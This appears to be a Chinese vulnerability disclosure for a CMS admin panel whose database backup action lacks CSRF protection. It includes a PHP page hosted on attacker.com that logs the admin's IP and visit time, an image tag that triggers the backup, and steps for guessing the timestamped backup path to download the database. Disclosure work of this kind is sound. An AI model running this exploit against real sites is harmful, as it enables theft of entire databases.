重要功能未进行csrf token验证导致可被脱裤
详细说明:
后台管理中的数据备份功能未进行csrf token验证。
攻击者制作内容如下的csrf.php并放到attacker.com下面:
<?php
file_put_contents("test.txt", " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND);
file_put_contents("test.txt", " Time:".date("Y.m.d H:i:s"),FILE_APPEND);
?>
<img src="http://victim.com/admin/?controller=dbmanage&operate=save&type=0">
随后将http://attacker.com/csrf.php这个URL发送给受害者(网站管理员)。如果管理员在打开该URL时处于登录状态就会以管理员的身份像目标服务器发送备份数据库的请求:
?controller=dbmanage&operate=save&type=0
与此同时,攻击者还会获取到管理员发送该求情的大概时间。(此处需要声明的是,虽然攻击者获取的时间为自己服务器的时间。但是服务器嘛,一个国家内的除去新疆都没有时差。而且都会跟time server同步。所以基本上是不用考虑两台服务器之间的时间差问题。)
现在攻击者跑到http://attacker.com/test.txt查看管理员发送请求时的时间:
IP:119.72.193.99 Time:2014.07.14 00:48:39
随后将其改成如下的格式:
a-b-c_def/00001.sql(年-月-日_时分秒)
改完后,就是:
2014-07-14_004839/00001.sql
最后再把路径也加进来:
http://10.211.55.4/admin/app/dbbackup/2014-07-14_004839/00001.sql
局域网内环境测试,会有2s左右的时间差。如果是Internet肯定会根据实际网络状况有更大的差别,不过不会太大。再夸张也还是秒单位的。所以攻击者只需要逐步修改URL中的秒数从39开始一秒一秒的推。
最后就可以下载到备份数据了。
漏洞证明:
攻击者成功得到备份数据库路径,并进行下载:
修复方案:
1。备份文件名可预测性过高。建议使用随机性更强的文件名